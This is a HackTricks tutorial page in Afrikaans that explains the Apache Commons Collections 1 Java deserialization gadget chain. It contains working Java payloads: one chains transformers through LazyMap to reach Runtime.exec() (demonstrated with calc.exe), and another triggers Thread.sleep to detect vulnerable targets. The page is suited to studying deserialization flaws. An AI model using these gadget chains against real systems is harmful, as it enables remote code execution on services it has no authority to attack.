hacktricks/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md

9.5 KiB

CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Java Transformers to Rutime exec()

In verskeie plekke kan jy 'n java deserialisering payload vind wat transformers van Apache common collections gebruik soos die volgende:

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

As jy nie iets weet van java deserialisering payloads nie, kan dit moeilik wees om uit te vind hoekom hierdie kode 'n calc sal uitvoer.

Eerstens moet jy weet dat 'n Transformer in Java iets is wat 'n klas ontvang en dit na 'n ander een transformeer.
Dit is ook interessant om te weet dat die payload wat hier uitgevoer word gelykstaande is aan:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

Of meer presies, wat aan die einde uitgevoer gaan word, sal wees:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Hoe

So, hoe is die eerste payload wat aangebied word gelyk aan daardie "simpele" een-liners?

Eerstens kan jy in die payload opmerklik dat 'n ketting (array) van transformasies geskep word:

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

As jy die kode lees, sal jy opgemerk dat as jy op een of ander manier die transformasie van die array ketting, jy in staat sal wees om arbitrêre opdragte uit te voer.

So, hoe word daardie transformasies geketting?

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

In die laaste gedeelte van die payload kan jy sien dat 'n Map objek geskep word. Dan word die funksie decorate uitgevoer vanaf LazyMap met die map objek en die geketende transformers. Uit die volgende kode kan jy sien dat dit sal veroorsaak dat die gekete transformers binne die lazyMap.factory attribuut gekopieer word:

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

En dan word die groot finale uitgevoer: lazyMap.get("anything");

Dit is die kode van die get funksie:

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

En dit is die kode van die transform funksie

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

So, onthou dat ons binne factory chainedTransformer gestoor het en binne die transform funksie deur al daardie geketende transformers gaan en een na die ander uitvoer. Die snaakse ding is dat elke transformer object as invoer gebruik en object is die uitvoer van die laaste transformer wat uitgevoer is. Daarom, word al die transforms geketend uitgevoer met die kwaadwillige payload.

Summary

Aan die einde, weens hoe lazyMap die geketende transformers binne die get metode bestuur, is dit asof ons die volgende kode uitvoer:

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Note hoe value die invoer van elke transformasie is en die uitvoer van die vorige transformasie, wat die uitvoering van 'n een-liner moontlik maak:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Note dat hier die gadgets wat gebruik word vir die ComonsCollections1 payload verduidelik is. Maar dit is oorlaat hoe alles begin om uit te voer. Jy kan hier sien dat ysoserial, om hierdie payload uit te voer, 'n AnnotationInvocationHandler objek gebruik omdat wanneer hierdie objek gedeserializeer word, dit die payload.get() funksie sal aanroep wat die hele payload sal uitvoer.

Java Thread Sleep

Hierdie payload kan handig wees om te identifiseer of die web kwesbaar is aangesien dit 'n slaap sal uitvoer as dit is.

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Meer Gadgets

Jy kan meer gadgets hier vind: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}